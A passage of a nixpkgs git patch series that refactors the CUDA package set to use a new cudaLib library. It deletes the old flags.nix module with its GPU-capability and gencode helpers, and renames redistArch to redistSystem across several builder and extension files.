+              passthruExtra.requestedJetsonCudaCapabilities
+              ++ passthruExtra.requestedArchitectureSpecificCudaCapabilities
+              ++ passthruExtra.requestedFamilySpecificCudaCapabilities
+            ) passthruExtra.cudaCapabilities;
+          in
+          "${jetsonMesssagePrefix} cannot be specified with non-Jetson capabilities "
+          + "(${toJSON requestedNonJetsonCudaCapabilities})";
+        assertion =
+          passthruExtra.hasJetsonCudaCapability
+          -> passthruExtra.requestedJetsonCudaCapabilities == passthruExtra.cudaCapabilities;
+      }
+    ];
+
+  assertCondition = addErrorContext "while evaluating ${mkVersionedName "cudaPackages" cudaMajorMinorVersion}.backendStdenv" (
+    _evaluateAssertions assertions
+  );
+
+  backendStdenv =
+    stdenvAdapters.useLibsFrom stdenv
+      pkgs."gcc${nvccCompatibilities.${cudaMajorMinorVersion}.gcc.maxMajorVersion}Stdenv";
 in
-
 # TODO: Consider testing whether we in fact use the newer libstdc++
-
-lib.extendDerivation assertCondition passthruExtra cudaStdenv
+extendDerivation assertCondition passthruExtra backendStdenv

From 9e09b547947672c1be01766de0cfc7346f39adc0 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 9 May 2025 22:16:23 +0000
Subject: [PATCH 0100/4511] cudaPackages: switch to cudaLib

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit c5dad2886a5623fc5e41054ab9ed9ff8e5f7ac91)
---
 doc/languages-frameworks/cuda.section.md      |   4 +-
 pkgs/development/cuda-modules/README.md       |   3 -
 pkgs/development/cuda-modules/aliases.nix     |   5 +-
 .../cuda-modules/cuda/extension.nix           |   2 +-
 pkgs/development/cuda-modules/cudnn/shims.nix |   6 +-
 .../cuda-modules/cusparselt/extension.nix     |  18 +-
 .../cuda-modules/cutensor/extension.nix       |  14 +-
 .../cuda-modules/fixups/tensorrt.nix          |   6 +-
 pkgs/development/cuda-modules/flags.nix       | 399 ------------------
 .../generic-builders/manifest.nix             |  40 +-
 .../generic-builders/multiplex.nix            |  21 +-
 pkgs/development/cuda-modules/gpus.nix        | 244 -----------
 .../cuda-modules/nvcc-compatibilities.nix     | 125 ------
 .../cuda-modules/tensorrt/shims.nix           |   6 +-
 pkgs/development/cuda-modules/tests/flags.nix |  78 ++++
 pkgs/top-level/cuda-packages.nix              |  82 ++--
 pkgs/top-level/release-cuda.nix               |  17 +-
 17 files changed, 186 insertions(+), 884 deletions(-)
 delete mode 100644 pkgs/development/cuda-modules/flags.nix
 delete mode 100644 pkgs/development/cuda-modules/gpus.nix
 delete mode 100644 pkgs/development/cuda-modules/nvcc-compatibilities.nix
 create mode 100644 pkgs/development/cuda-modules/tests/flags.nix

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 091fc57a53a0..7e489acdbd64 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -115,8 +115,8 @@ All new projects should use the CUDA redistributables available in [`cudaPackage
 
 ### Updating supported compilers and GPUs {#updating-supported-compilers-and-gpus}
 
-1. Update `nvcc-compatibilities.nix` in `pkgs/development/cuda-modules/` to include the newest release of NVCC, as well as any newly supported host compilers.
-2. Update `gpus.nix` in `pkgs/development/cuda-modules/` to include any new GPUs supported by the new release of CUDA.
+1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/lib/data/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
+2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/lib/data/cuda.nix` to include any new GPUs supported by the new release of CUDA.
 
 ### Updating the CUDA Toolkit runfile installer {#updating-the-cuda-toolkit}
 
diff --git a/pkgs/development/cuda-modules/README.md b/pkgs/development/cuda-modules/README.md
index d79f5bede0bb..3e6168e52be8 100644
--- a/pkgs/development/cuda-modules/README.md
+++ b/pkgs/development/cuda-modules/README.md
@@ -16,9 +16,6 @@ scope. These are typically required for the creation of the finalized
 
 - `backend-stdenv.nix`: Standard environment for CUDA packages.
 - `flags.nix`: Flags set, or consumed by, NVCC in order to build packages.
-- `gpus.nix`: A list of supported NVIDIA GPUs.
-- `nvcc-compatibilities.nix`: NVCC releases and the version range of GCC/Clang
-    they support.
 
 ## Top-level directories
 
diff --git a/pkgs/development/cuda-modules/aliases.nix b/pkgs/development/cuda-modules/aliases.nix
index 14975410d378..1c8e9c1d5fab 100644
--- a/pkgs/development/cuda-modules/aliases.nix
+++ b/pkgs/development/cuda-modules/aliases.nix
@@ -1,11 +1,12 @@
 # Packages which have been deprecated or removed from cudaPackages
-final: _:
+{ lib }:
 let
   mkRenamed =
     oldName:
     { path, package }:
-    final.lib.warn "cudaPackages.${oldName} is deprecated, use ${path} instead" package;
+    lib.warn "cudaPackages.${oldName} is deprecated, use ${path} instead" package;
 in
+final: _:
 builtins.mapAttrs mkRenamed {
   # A comment to prevent empty { } from collapsing into a single line
 
diff --git a/pkgs/development/cuda-modules/cuda/extension.nix b/pkgs/development/cuda-modules/cuda/extension.nix
index 09d8999270a2..c46c39dcea2d 100644
--- a/pkgs/development/cuda-modules/cuda/extension.nix
+++ b/pkgs/development/cuda-modules/cuda/extension.nix
@@ -43,7 +43,7 @@ let
   };
 
   # Generally we prefer to do things involving getting attribute names with feature_manifest instead
-  # of redistrib_manifest because the feature manifest will have *only* the redist architecture
+  # of redistrib_manifest because the feature manifest will have *only* the redist system
   # names as the keys, whereas the redistrib manifest will also have things like version, name, license,
   # and license_path.
   featureManifest = evaluatedModules.config.cuda.manifests.feature;
diff --git a/pkgs/development/cuda-modules/cudnn/shims.nix b/pkgs/development/cuda-modules/cudnn/shims.nix
index 0a7f09bc9f0f..01918e88f07b 100644
--- a/pkgs/development/cuda-modules/cudnn/shims.nix
+++ b/pkgs/development/cuda-modules/cudnn/shims.nix
@@ -1,14 +1,14 @@
 # Shims to mimic the shape of ../modules/generic/manifests/{feature,redistrib}/release.nix
 {
   package,
-  # redistArch :: String
+  # redistSystem :: String
   # String is "unsupported" if the given architecture is unsupported.
-  redistArch,
+  redistSystem,
 }:
 {
   featureRelease = {
     inherit (package) minCudaVersion maxCudaVersion;
-    ${redistArch}.outputs = {
+    ${redistSystem}.outputs = {
       lib = true;
       static = true;
       dev = true;
diff --git a/pkgs/development/cuda-modules/cusparselt/extension.nix b/pkgs/development/cuda-modules/cusparselt/extension.nix
index e72be0d7cb99..56308973c341 100644
--- a/pkgs/development/cuda-modules/cusparselt/extension.nix
+++ b/pkgs/development/cuda-modules/cusparselt/extension.nix
@@ -1,11 +1,9 @@
 # Support matrix can be found at
 # https://docs.nvidia.com/deeplearning/cudnn/archives/cudnn-880/support-matrix/index.html
 {
+  cudaLib,
   lib,
-  stdenv,
-  cudaMajorMinorVersion,
-  flags,
-  mkVersionedPackageName,
+  redistSystem,
 }:
 let
   inherit (lib)
@@ -15,8 +13,6 @@ let
     trivial
     ;
 
-  inherit (stdenv) hostPlatform;
-
   redistName = "cusparselt";
   pname = "libcusparse_lt";
 
@@ -54,17 +50,12 @@ let
       releaseGrabber
     ]) cusparseltVersions;
 
-  # A release is supported if it has a libPath that matches our CUDA version for our platform.
-  # LibPath are not constant across the same release -- one platform may support fewer
-  # CUDA versions than another.
-  # redistArch :: String
-  redistArch = flags.getRedistArch hostPlatform.system;
   # platformIsSupported :: Manifests -> Boolean
   platformIsSupported =
     { feature, redistrib, ... }:
     (attrsets.attrByPath [
       pname
-      redistArch
+      redistSystem
     ] null feature) != null;
 
   # TODO(@connorbaker): With an auxiliary file keeping track of the CUDA versions each release supports,
@@ -77,7 +68,8 @@ let
   # Compute versioned attribute name to be used in this package set
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: RedistribRelease -> String
-  computeName = { version, ... }: mkVersionedPackageName redistName version;
+  computeName =
+    { version, ... }: cudaLib.utils.mkVersionedName redistName (lib.versions.majorMinor version);
 in
 final: _:
 let
diff --git a/pkgs/development/cuda-modules/cutensor/extension.nix b/pkgs/development/cuda-modules/cutensor/extension.nix
index deb6cc7e8e51..5f59cfb15bb6 100644
--- a/pkgs/development/cuda-modules/cutensor/extension.nix
+++ b/pkgs/development/cuda-modules/cutensor/extension.nix
@@ -13,11 +13,10 @@
 # - Instead of providing different releases for each version of CUDA, CuTensor has multiple subdirectories in `lib`
 #   -- one for each version of CUDA.
 {
+  cudaLib,
   cudaMajorMinorVersion,
-  flags,
   lib,
-  mkVersionedPackageName,
-  stdenv,
+  redistSystem,
 }:
 let
   inherit (lib)
@@ -28,8 +27,6 @@ let
     trivial
     ;
 
-  inherit (stdenv) hostPlatform;
-
   redistName = "cutensor";
   pname = "libcutensor";
 
@@ -92,14 +89,12 @@ let
   # A release is supported if it has a libPath that matches our CUDA version for our platform.
   # LibPath are not constant across the same release -- one platform may support fewer
   # CUDA versions than another.
-  # redistArch :: String
-  redistArch = flags.getRedistArch hostPlatform.system;
   # platformIsSupported :: Manifests -> Boolean
   platformIsSupported =
     { feature, redistrib, ... }:
     (attrsets.attrByPath [
       pname
-      redistArch
+      redistSystem
     ] null feature) != null;
 
   # TODO(@connorbaker): With an auxiliary file keeping track of the CUDA versions each release supports,
@@ -112,7 +107,8 @@ let
   # Compute versioned attribute name to be used in this package set
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: RedistribRelease -> String
-  computeName = { version, ... }: mkVersionedPackageName redistName version;
+  computeName =
+    { version, ... }: cudaLib.utils.mkVersionedName redistName (lib.versions.majorMinor version);
 in
 final: _:
 let
diff --git a/pkgs/development/cuda-modules/fixups/tensorrt.nix b/pkgs/development/cuda-modules/fixups/tensorrt.nix
index a836debf0604..c55844eac0d9 100644
--- a/pkgs/development/cuda-modules/fixups/tensorrt.nix
+++ b/pkgs/development/cuda-modules/fixups/tensorrt.nix
@@ -1,9 +1,9 @@
 {
+  cudaLib,
   cudaOlder,
   cudaPackages,
   cudaMajorMinorVersion,
   lib,
-  mkVersionedPackageName,
   patchelf,
   requireFile,
   stdenv,
@@ -103,7 +103,9 @@ finalAttrs: prevAttrs: {
     # unless it is not available, in which case the default cudnn derivation will be used.
     cudnn =
       let
-        desiredName = mkVersionedPackageName "cudnn" finalAttrs.passthru.featureRelease.cudnnVersion;
+        desiredName = cudaLib.utils.mkVersionedName "cudnn" (
+          lib.versions.majorMinor finalAttrs.passthru.featureRelease.cudnnVersion
+        );
       in
       if finalAttrs.passthru.featureRelease.cudnnVersion == null || (cudaPackages ? desiredName) then
         cudaPackages.cudnn
diff --git a/pkgs/development/cuda-modules/flags.nix b/pkgs/development/cuda-modules/flags.nix
deleted file mode 100644
index 980f33c7863f..000000000000
--- a/pkgs/development/cuda-modules/flags.nix
+++ /dev/null
@@ -1,399 +0,0 @@
-# Type aliases
-# Gpu :: AttrSet
-#   - See the documentation in ./gpus.nix.
-{
-  config,
-  cudaCapabilities ? (config.cudaCapabilities or [ ]),
-  cudaForwardCompat ? (config.cudaForwardCompat or true),
-  lib,
-  cudaMajorMinorVersion,
-  stdenv,
-  # gpus :: List Gpu
-  gpus,
-}:
-let
-  inherit (lib)
-    asserts
-    attrsets
-    lists
-    strings
-    trivial
-    ;
-
-  inherit (stdenv) hostPlatform;
-
-  # Flags are determined based on your CUDA toolkit by default.  You may benefit
-  # from improved performance, reduced file size, or greater hardware support by
-  # passing a configuration based on your specific GPU environment.
-  #
-  # cudaCapabilities :: List Capability
-  # List of hardware generations to build.
-  # E.g. [ "8.0" ]
-  # Currently, the last item is considered the optional forward-compatibility arch,
-  # but this may change in the future.
-  #
-  # cudaForwardCompat :: Bool
-  # Whether to include the forward compatibility gencode (+PTX)
-  # to support future GPU generations.
-  # E.g. true
-  #
-  # Please see the accompanying documentation or https://github.com/NixOS/nixpkgs/pull/205351
-
-  # isSupported :: Gpu -> Bool
-  isSupported =
-    gpu:
-    let
-      inherit (gpu) minCudaVersion maxCudaVersion;
-      lowerBoundSatisfied = strings.versionAtLeast cudaMajorMinorVersion minCudaVersion;
-      upperBoundSatisfied =
-        (maxCudaVersion == null) || !(strings.versionOlder maxCudaVersion cudaMajorMinorVersion);
-    in
-    lowerBoundSatisfied && upperBoundSatisfied;
-
-  # NOTE: Jetson is never built by default.
-  # isDefault :: Gpu -> Bool
-  isDefault =
-    gpu:
-    let
-      inherit (gpu) dontDefaultAfter isJetson;
-      newGpu = dontDefaultAfter == null;
-      recentGpu = newGpu || strings.versionAtLeast dontDefaultAfter cudaMajorMinorVersion;
-    in
-    recentGpu && !isJetson;
-
-  # supportedGpus :: List Gpu
-  # GPUs which are supported by the provided CUDA version.
-  supportedGpus = builtins.filter isSupported gpus;
-
-  # defaultGpus :: List Gpu
-  # GPUs which are supported by the provided CUDA version and we want to build for by default.
-  defaultGpus = builtins.filter isDefault supportedGpus;
-
-  # supportedCapabilities :: List Capability
-  supportedCapabilities = lists.map (gpu: gpu.computeCapability) supportedGpus;
-
-  # defaultCapabilities :: List Capability
-  # The default capabilities to target, if not overridden by the user.
-  defaultCapabilities = lists.map (gpu: gpu.computeCapability) defaultGpus;
-
-  # cudaArchNameToVersions :: AttrSet String (List String)
-  # Maps the name of a GPU architecture to different versions of that architecture.
-  # For example, "Ampere" maps to [ "8.0" "8.6" "8.7" ].
-  cudaArchNameToVersions = lists.groupBy' (versions: gpu: versions ++ [ gpu.computeCapability ]) [ ] (
-    gpu: gpu.archName
-  ) supportedGpus;
-
-  # cudaComputeCapabilityToName :: AttrSet String String
-  # Maps the version of a GPU architecture to the name of that architecture.
-  # For example, "8.0" maps to "Ampere".
-  cudaComputeCapabilityToName = builtins.listToAttrs (
-    lists.map (gpu: attrsets.nameValuePair gpu.computeCapability gpu.archName) supportedGpus
-  );
-
-  # cudaComputeCapabilityToIsJetson :: AttrSet String Boolean
-  cudaComputeCapabilityToIsJetson = builtins.listToAttrs (
-    lists.map (attrs: attrsets.nameValuePair attrs.computeCapability attrs.isJetson) supportedGpus
-  );
-
-  # jetsonComputeCapabilities :: List String
-  jetsonComputeCapabilities = trivial.pipe cudaComputeCapabilityToIsJetson [
-    (attrsets.filterAttrs (_: isJetson: isJetson))
-    builtins.attrNames
-  ];
-
-  # Find the intersection with the user-specified list of cudaCapabilities.
-  # NOTE: Jetson devices are never built by default because they cannot be targeted along with
-  # non-Jetson devices and require an aarch64 host platform. As such, if they're present anywhere,
-  # they must be in the user-specified cudaCapabilities.
-  # NOTE: We don't need to worry about mixes of Jetson and non-Jetson devices here -- there's
-  # sanity-checking for all that in below.
-  jetsonTargets = lists.intersectLists jetsonComputeCapabilities cudaCapabilities;
-
-  # dropDot :: String -> String
-  dropDot = ver: builtins.replaceStrings [ "." ] [ "" ] ver;
-
-  # archMapper :: String -> List String -> List String
-  # Maps a feature across a list of architecture versions to produce a list of architectures.
-  # For example, "sm" and [ "8.0" "8.6" "8.7" ] produces [ "sm_80" "sm_86" "sm_87" ].
-  archMapper = feat: lists.map (computeCapability: "${feat}_${dropDot computeCapability}");
-
-  # gencodeMapper :: String -> List String -> List String
-  # Maps a feature across a list of architecture versions to produce a list of gencode arguments.
-  # For example, "sm" and [ "8.0" "8.6" "8.7" ] produces [ "-gencode=arch=compute_80,code=sm_80"
-  # "-gencode=arch=compute_86,code=sm_86" "-gencode=arch=compute_87,code=sm_87" ].
-  gencodeMapper =
-    feat:
-    lists.map (
-      computeCapability:
-      "-gencode=arch=compute_${dropDot computeCapability},code=${feat}_${dropDot computeCapability}"
-    );
-
-  # Maps Nix system to NVIDIA redist arch.
-  # NOTE: We swap out the default `linux-sbsa` redist (for server-grade ARM chips) with the
-  # `linux-aarch64` redist (which is for Jetson devices) if we're building any Jetson devices.
-  # Since both are based on aarch64, we can only have one or the other, otherwise there's an
-  # ambiguity as to which should be used.
-  # NOTE: This function *will* be called by unsupported systems because `cudaPackages` is part of
-  # `all-packages.nix`, which is evaluated on all systems. As such, we need to handle unsupported
-  # systems gracefully.
-  # getRedistArch :: String -> String
-  getRedistArch =
-    nixSystem:
-    attrsets.attrByPath [ nixSystem ] "unsupported" {
-      aarch64-linux = if jetsonTargets != [ ] then "linux-aarch64" else "linux-sbsa";
-      x86_64-linux = "linux-x86_64";
-      ppc64le-linux = "linux-ppc64le";
-      x86_64-windows = "windows-x86_64";
-    };
-
-  # Maps NVIDIA redist arch to Nix system.
-  # NOTE: This function *will* be called by unsupported systems because `cudaPackages` is part of
-  # `all-packages.nix`, which is evaluated on all systems. As such, we need to handle unsupported
-  # systems gracefully.
-  # getNixSystem :: String -> String
-  getNixSystem =
-    redistArch:
-    attrsets.attrByPath [ redistArch ] "unsupported-${redistArch}" {
-      linux-sbsa = "aarch64-linux";
-      linux-aarch64 = "aarch64-linux";
-      linux-x86_64 = "x86_64-linux";
-      linux-ppc64le = "ppc64le-linux";
-      windows-x86_64 = "x86_64-windows";
-    };
-
-  formatCapabilities =
-    {
-      cudaCapabilities,
-      enableForwardCompat ? true,
-    }:
-    rec {
-      inherit cudaCapabilities enableForwardCompat;
-
-      # archNames :: List String
-      # E.g. [ "Turing" "Ampere" ]
-      #
-      # Unknown architectures are rendered as sm_XX gencode flags.
-      archNames = lists.unique (
-        lists.map (cap: cudaComputeCapabilityToName.${cap} or "sm_${dropDot cap}") cudaCapabilities
-      );
-
-      # realArches :: List String
-      # The real architectures are physical architectures supported by the CUDA version.
-      # E.g. [ "sm_75" "sm_86" ]
-      realArches = archMapper "sm" cudaCapabilities;
-
-      # virtualArches :: List String
-      # The virtual architectures are typically used for forward compatibility, when trying to support
-      # an architecture newer than the CUDA version allows.
-      # E.g. [ "compute_75" "compute_86" ]
-      virtualArches = archMapper "compute" cudaCapabilities;
-
-      # arches :: List String
-      # By default, build for all supported architectures and forward compatibility via a virtual
-      # architecture for the newest supported architecture.
-      # E.g. [ "sm_75" "sm_86" "compute_86" ]
-      arches = realArches ++ lists.optional enableForwardCompat (lists.last virtualArches);
-
-      # gencode :: List String
-      # A list of CUDA gencode arguments to pass to NVCC.
-      # E.g. [ "-gencode=arch=compute_75,code=sm_75" ... "-gencode=arch=compute_86,code=compute_86" ]
-      gencode =
-        let
-          base = gencodeMapper "sm" cudaCapabilities;
-          forward = gencodeMapper "compute" [ (lists.last cudaCapabilities) ];
-        in
-        base ++ lib.optionals enableForwardCompat forward;
-
-      # gencodeString :: String
-      # A space-separated string of CUDA gencode arguments to pass to NVCC.
-      # E.g. "-gencode=arch=compute_75,code=sm_75 ... -gencode=arch=compute_86,code=compute_86"
-      gencodeString = strings.concatStringsSep " " gencode;
-
-      # cmakeCudaArchitecturesString :: String
-      # A semicolon-separated string of CUDA capabilities without dots, suitable for passing to CMake.
-      # E.g. "75;86"
-      cmakeCudaArchitecturesString = strings.concatMapStringsSep ";" dropDot cudaCapabilities;
-
-      # Jetson devices cannot be targeted by the same binaries which target non-Jetson devices. While
-      # NVIDIA provides both `linux-aarch64` and `linux-sbsa` packages, which both target `aarch64`,
-      # they are built with different settings and cannot be mixed.
-      # isJetsonBuild :: Boolean
-      isJetsonBuild =
-        let
-          requestedJetsonDevices = lists.filter (
-            cap: cudaComputeCapabilityToIsJetson.${cap} or false
-          ) cudaCapabilities;
-          requestedNonJetsonDevices = lists.filter (
-            cap: !(builtins.elem cap requestedJetsonDevices)
-          ) cudaCapabilities;
-          jetsonBuildSufficientCondition = requestedJetsonDevices != [ ];
-          jetsonBuildNecessaryCondition = requestedNonJetsonDevices == [ ] && hostPlatform.isAarch64;
-        in
-        trivial.throwIf (jetsonBuildSufficientCondition && !jetsonBuildNecessaryCondition) ''
-          Jetson devices cannot be targeted with non-Jetson devices. Additionally, they require hostPlatform to be aarch64.
-          You requested ${builtins.toJSON cudaCapabilities} for host platform ${hostPlatform.system}.
-          Requested Jetson devices: ${builtins.toJSON requestedJetsonDevices}.
-          Requested non-Jetson devices: ${builtins.toJSON requestedNonJetsonDevices}.
-          Exactly one of the following must be true:
-          - All CUDA capabilities belong to Jetson devices and hostPlatform is aarch64.
-          - No CUDA capabilities belong to Jetson devices.
-          See ${./gpus.nix} for a list of architectures supported by this version of Nixpkgs.
-        '' jetsonBuildSufficientCondition
-        && jetsonBuildNecessaryCondition;
-    };
-in
-# When changing names or formats: pause, validate, and update the assert
-assert
-  let
-    expected = {
-      cudaCapabilities = [
-        "7.5"
-        "8.6"
-      ];
-      enableForwardCompat = true;
-
-      archNames = [
-        "Turing"
-        "Ampere"
-      ];
-      realArches = [
-        "sm_75"
-        "sm_86"
-      ];
-      virtualArches = [
-        "compute_75"
-        "compute_86"
-      ];
-      arches = [
-        "sm_75"
-        "sm_86"
-        "compute_86"
-      ];
-
-      gencode = [
-        "-gencode=arch=compute_75,code=sm_75"
-        "-gencode=arch=compute_86,code=sm_86"
-        "-gencode=arch=compute_86,code=compute_86"
-      ];
-      gencodeString = "-gencode=arch=compute_75,code=sm_75 -gencode=arch=compute_86,code=sm_86 -gencode=arch=compute_86,code=compute_86";
-
-      cmakeCudaArchitecturesString = "75;86";
-
-      isJetsonBuild = false;
-    };
-    actual = formatCapabilities {
-      cudaCapabilities = [
-        "7.5"
-        "8.6"
-      ];
-    };
-    actualWrapped = (builtins.tryEval (builtins.deepSeq actual actual)).value;
-  in
-  asserts.assertMsg
-    ((strings.versionAtLeast cudaMajorMinorVersion "11.2") -> (expected == actualWrapped))
-    ''
-      This test should only fail when using a version of CUDA older than 11.2, the first to support
-      8.6.
-      Expected: ${builtins.toJSON expected}
-      Actual: ${builtins.toJSON actualWrapped}
-    '';
-# Check mixed Jetson and non-Jetson devices
-assert
-  let
-    expected = false;
-    actual = formatCapabilities {
-      cudaCapabilities = [
-        "7.2"
-        "7.5"
-      ];
-    };
-    actualWrapped = (builtins.tryEval (builtins.deepSeq actual actual)).value;
-  in
-  asserts.assertMsg (expected == actualWrapped) ''
-    Jetson devices capabilities cannot be mixed with non-jetson devices.
-    Capability 7.5 is non-Jetson and should not be allowed with Jetson 7.2.
-    Expected: ${builtins.toJSON expected}
-    Actual: ${builtins.toJSON actualWrapped}
-  '';
-# Check Jetson-only
-assert
-  let
-    expected = {
-      cudaCapabilities = [
-        "6.2"
-        "7.2"
-      ];
-      enableForwardCompat = true;
-
-      archNames = [
-        "Pascal"
-        "Volta"
-      ];
-      realArches = [
-        "sm_62"
-        "sm_72"
-      ];
-      virtualArches = [
-        "compute_62"
-        "compute_72"
-      ];
-      arches = [
-        "sm_62"
-        "sm_72"
-        "compute_72"
-      ];
-
-      gencode = [
-        "-gencode=arch=compute_62,code=sm_62"
-        "-gencode=arch=compute_72,code=sm_72"
-        "-gencode=arch=compute_72,code=compute_72"
-      ];
-      gencodeString = "-gencode=arch=compute_62,code=sm_62 -gencode=arch=compute_72,code=sm_72 -gencode=arch=compute_72,code=compute_72";
-
-      cmakeCudaArchitecturesString = "62;72";
-
-      isJetsonBuild = true;
-    };
-    actual = formatCapabilities {
-      cudaCapabilities = [
-        "6.2"
-        "7.2"
-      ];
-    };
-    actualWrapped = (builtins.tryEval (builtins.deepSeq actual actual)).value;
-  in
-  asserts.assertMsg
-    # We can't do this test unless we're targeting aarch64
-    (hostPlatform.isAarch64 -> (expected == actualWrapped))
-    ''
-      Jetson devices can only be built with other Jetson devices.
-      Both 6.2 and 7.2 are Jetson devices.
-      Expected: ${builtins.toJSON expected}
-      Actual: ${builtins.toJSON actualWrapped}
-    '';
-{
-  # formatCapabilities :: { cudaCapabilities: List Capability, enableForwardCompat: Boolean } ->  { ... }
-  inherit formatCapabilities;
-
-  # cudaArchNameToVersions :: String => String
-  inherit cudaArchNameToVersions;
-
-  # cudaComputeCapabilityToName :: String => String
-  inherit cudaComputeCapabilityToName;
-
-  # dropDot :: String -> String
-  inherit dropDot;
-
-  inherit
-    defaultCapabilities
-    supportedCapabilities
-    jetsonComputeCapabilities
-    jetsonTargets
-    getNixSystem
-    getRedistArch
-    ;
-}
-// formatCapabilities {
-  cudaCapabilities = if cudaCapabilities == [ ] then defaultCapabilities else cudaCapabilities;
-  enableForwardCompat = cudaForwardCompat;
-}
diff --git a/pkgs/development/cuda-modules/generic-builders/manifest.nix b/pkgs/development/cuda-modules/generic-builders/manifest.nix
index f36cc2d989ad..f4eecc29f4dc 100644
--- a/pkgs/development/cuda-modules/generic-builders/manifest.nix
+++ b/pkgs/development/cuda-modules/generic-builders/manifest.nix
@@ -5,6 +5,7 @@
   autoPatchelfHook,
   backendStdenv,
   callPackage,
+  cudaLib,
   fetchurl,
   fixups,
   lib,
@@ -47,15 +48,15 @@ let
   maybeFixup = fixups.${pname} or null;
   fixup = if maybeFixup != null then callPackage maybeFixup { } else { };
 
-  # Get the redist architectures for which package provides distributables.
+  # Get the redist systems for which package provides distributables.
   # These are used by meta.platforms.
-  supportedRedistArchs = builtins.attrNames featureRelease;
-  # redistArch :: String
-  # The redistArch is the name of the architecture for which the redistributable is built.
-  # It is `"unsupported"` if the redistributable is not supported on the target platform.
-  redistArch = flags.getRedistArch hostPlatform.system;
+  supportedRedistSystems = builtins.attrNames featureRelease;
+  # redistSystem :: String
+  # The redistSystem is the name of the system for which the redistributable is built.
+  # It is `"unsupported"` if the redistributable is not supported on the target system.
+  redistSystem = cudaLib.utils.getRedistSystem backendStdenv.hasJetsonCudaCapability hostPlatform.system;
 
-  sourceMatchesHost = flags.getNixSystem redistArch == hostPlatform.system;
+  sourceMatchesHost = lib.elem hostPlatform.system (cudaLib.utils.getNixSystems redistSystem);
 in
 (backendStdenv.mkDerivation (finalAttrs: {
   # NOTE: Even though there's no actual buildPhase going on here, the derivations of the
@@ -81,7 +82,7 @@ in
       hasOutput =
         output:
         attrsets.attrByPath [
-          redistArch
+          redistSystem
           "outputs"
           output
         ] false featureRelease;
@@ -99,12 +100,15 @@ in
       # NOTE: In the case the redistributable isn't supported on the target platform,
       # we will have `outputs = [ "out" ] ++ possibleOutputs`. This is of note because platforms which
       # aren't supported would otherwise have evaluation errors when trying to access outputs other than `out`.
-      # The alternative would be to have `outputs = [ "out" ]` when`redistArch = "unsupported"`, but that would
+      # The alternative would be to have `outputs = [ "out" ]` when`redistSystem = "unsupported"`, but that would
       # require adding guards throughout the entirety of the CUDA package set to ensure `cudaSupport` is true --
       # recall that OfBorg will evaluate packages marked as broken and that `cudaPackages` will be evaluated with
       # `cudaSupport = false`!
       additionalOutputs =
-        if redistArch == "unsupported" then possibleOutputs else builtins.filter hasOutput possibleOutputs;
+        if redistSystem == "unsupported" then
+          possibleOutputs
+        else
+          builtins.filter hasOutput possibleOutputs;
       # The out output is special -- it's the default output and we always include it.
       outputs = [ "out" ] ++ additionalOutputs;
     in
@@ -155,14 +159,14 @@ in
   };
 
   # src :: Optional Derivation
-  # If redistArch doesn't exist in redistribRelease, return null.
+  # If redistSystem doesn't exist in redistribRelease, return null.
   src = trivial.mapNullable (
     { relative_path, sha256, ... }:
     fetchurl {
       url = "https://developer.download.nvidia.com/compute/${redistName}/redist/${relative_path}";
       inherit sha256;
     }
-  ) (redistribRelease.${redistArch} or null);
+  ) (redistribRelease.${redistSystem} or null);
 
   postPatch =
     # Pkg-config's setup hook expects configuration files in $out/share/pkgconfig
@@ -321,11 +325,13 @@ in
     description = "${redistribRelease.name}. By downloading and using the packages you accept the terms and conditions of the ${finalAttrs.meta.license.shortName}";
     sourceProvenance = [ sourceTypes.binaryNativeCode ];
     broken = lists.any trivial.id (attrsets.attrValues finalAttrs.brokenConditions);
-    platforms = trivial.pipe supportedRedistArchs [
-      # Map each redist arch to the equivalent nix system or null if there is no equivalent.
-      (builtins.map flags.getNixSystem)
-      # Filter out unsupported systems
-      (builtins.filter (nixSystem: !(strings.hasPrefix "unsupported-" nixSystem)))
+    platforms = trivial.pipe supportedRedistSystems [
+      # Map each redist system to the equivalent nix systems.
+      (lib.concatMap cudaLib.utils.getNixSystems)
+      # Take all the unique values.
+      lib.unique
+      # Sort the list.
+      lib.naturalSort
     ];
     badPlatforms =
       let
diff --git a/pkgs/development/cuda-modules/generic-builders/multiplex.nix b/pkgs/development/cuda-modules/generic-builders/multiplex.nix
index 816a375e620f..0a6d101eaf9d 100644
--- a/pkgs/development/cuda-modules/generic-builders/multiplex.nix
+++ b/pkgs/development/cuda-modules/generic-builders/multiplex.nix
@@ -1,11 +1,9 @@
 {
-  # callPackage-provided arguments
   lib,
+  cudaLib,
   cudaMajorMinorVersion,
-  flags,
+  redistSystem,
   stdenv,
-  # Expected to be passed by the caller
-  mkVersionedPackageName,
   # Builder-specific arguments
   # Short package name (e.g., "cuda_cccl")
   # pname : String
@@ -26,7 +24,7 @@
   # The featureRelease is used to populate meta.platforms (by way of looking at the attribute names), determine the
   # outputs of the package, and provide additional package-specific constraints (e.g., min/max supported CUDA versions,
   # required versions of other packages, etc.).
-  # shimFn :: {package, redistArch} -> AttrSet
+  # shimFn :: {package, redistSystem} -> AttrSet
   shimsFn ? (throw "shimsFn must be provided"),
 }:
 let
@@ -41,10 +39,6 @@ let
   # - Releases: ../modules/${pname}/releases/releases.nix
   # - Package: ../modules/${pname}/releases/package.nix
 
-  # redistArch :: String
-  # Value is `"unsupported"` if the platform is not supported.
-  redistArch = flags.getRedistArch stdenv.hostPlatform.system;
-
   # Check whether a package supports our CUDA version.
   # satisfiesCudaVersion :: Package -> Bool
   satisfiesCudaVersion =
@@ -53,7 +47,7 @@ let
     && lib.versionAtLeast package.maxCudaVersion cudaMajorMinorVersion;
 
   # FIXME: do this at the module system level
-  propagatePlatforms = lib.mapAttrs (redistArch: lib.map (p: { inherit redistArch; } // p));
+  propagatePlatforms = lib.mapAttrs (redistSystem: lib.map (p: { inherit redistSystem; } // p));
 
   # Releases for all platforms and all CUDA versions.
   allReleases = propagatePlatforms evaluatedModules.config.${pname}.releases;
@@ -65,12 +59,13 @@ let
   allPackages = lib.concatLists (lib.attrValues allReleases');
 
